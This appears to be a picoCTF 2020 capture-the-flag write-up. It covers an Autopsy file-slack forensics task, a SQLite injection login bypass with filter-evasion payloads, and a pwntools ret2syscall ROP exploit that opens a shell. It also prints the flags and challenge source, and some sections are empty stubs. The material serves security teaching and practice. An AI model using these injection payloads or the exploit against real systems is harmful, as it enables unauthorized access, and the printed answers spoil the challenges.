picoCTF 2020 Mini-Competition
{"author" : ["ret2basic"]}

Pitter, Patter, Platters (Autopsy)

Solved by ret2basic

Challenge

'Suspicious' is written all over this disk image. Download suspicious.dd.sda1​

Solution

Open the .sda file in Autopsy. Click "Keyword Search" and search for the keyword "suspicious". Here we find two files:
  • suspicious-file.txt
  • suspicious-file.txt-slack
suspicious-file.txt says:
suspicious-file.txt Nothing to see here! But you may want to look here -->
​
​
------------------------------METADATA------------------------------
suspicious-file.txt-slack says:
suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip
File slack is the difference between the physical file size and the logical file size. Autopsy creates slack files (with the -slack extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to "Tools => Options => Global Settings => Hide slack files in the:" and unselect the options in this section.
Reverse the string and get flag:
echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev

Web Gauntlet (SQLite Injection with WAF Bypass)

Solved by ret2basic

Challenge

Solution

Background Knowledge

If we enter user:password on the login page, the backend SQL query will be something like this:
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
Here the leading ' closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.

Round 1

Filter: or
In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
The SQL query got executed is shown in the background:
Round 1 Done

Round 2

Filter: or and like = --
For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':
Round 2 Done

Round 3

Filter: or and = like > < --
The payload for Round 2 works for this round as well:

Round 4

Filter: or and = like > < -- admin
Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
In our case, we could construct an UNION attack as the following:
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
This payload works:
Round 4 Done

Round 5

Filter: or and = like > < -- union admin
Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:
  1. 1.
    Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings in SQL.
  2. 2.
    Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.
The complete SQL query is:
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
Now go grab your flag:
Round 5 Done

Appendix: Source Code

<?php
session_start();
​
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
​
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
​
// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>

Guessing Game 1 (ret2syscall)

Solved by ret2basic

Challenge

I made a simple game to show off my programming skills. See if you can beat it! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 26735

Makefile

all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
​
clean:
rm vuln
The binary is statically linked, so things like ret2libc won't work.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
​
#define BUFSIZE 100
​
​
long increment(long in) {
return in + 1;
}
​
long get_random() {
return rand() % BUFSIZE;
}
​
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
​
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
​
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
​
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
​
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
​
int res;
​
printf("Welcome to my guessing game!\n\n");
​
while (1) {
res = do_stuff();
if (res) {
win();
}
}
​
return 0;
}
Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:
#include <stdio.h>
#include <stdlib.h>
​
#define BUFSIZE 100
​
long get_random()
{
return rand() % BUFSIZE;
}
​
int main(int argc, char **argv)
{
printf("%ld\n", get_random());
}
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84
The correct answer to the question "What number would you like to guess?" should be 84.

Solution

Since the binary does not contain the string "/bin/sh\x00", we have to construct a 2-stage exploit:
  • Stage 1: Build a ROP chain for writing the string "/bin/sh\x00" to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.
  • Stage 2: Do normal ret2syscall to execute execve("/bin/sh\x00", 0, 0).

Exploit

#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)
​
local = False
if local:
r = elf.process()
else:
host = 'jupiter.challenges.picoctf.org'
port = 26735
r = remote(host, port)
​
#--------ret2syscall--------#
​
offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c
​
payload = flat(
b"A" * offset,
# Write the string "/bin/sh\x00" to .bss section
pop_rdx, "/bin/sh\x00",
pop_rax, bin_sh_address,
write_gadget,
# Call execve("/bin/sh\x00", 0, 0)
pop_rax, 0x3b,
pop_rdi, bin_sh_address,
pop_rsi, 0,
pop_rdx, 0,
syscall,
)
​
r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()

Guessing Game 2

Solved by ret2basic

Challenge

It's the Return of your favorite game! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 57529

Makefile

all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
​
clean:
rm vuln
The binary is dynamically linked this time, which makes ret2libc possible.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
​
#define BUFSIZE 512
​
​
long get_random() {
return rand;
}
​
int get_version() {
return 2;
}
​
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
​
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
​
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
​
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
​
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
​
int res;
​
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
​
while (1) {
res = do_stuff();
if (res) {
win();
}
}
​
return 0;
}

Solution

Exploit

​

OPT Implementation

Challenge

Yay reversing! Relevant files: otp flag.txt​

Solution

Implementation

​
Copy link
Outline
Pitter, Patter, Platters (Autopsy)
Challenge
Solution
Web Gauntlet (SQLite Injection with WAF Bypass)
Challenge
Solution
Appendix: Source Code
Guessing Game 1 (ret2syscall)
Challenge
Makefile
Source Code
Solution
Exploit
Guessing Game 2
Challenge
Makefile
Source Code
Solution
Exploit
OPT Implementation
Challenge
Solution
Implementation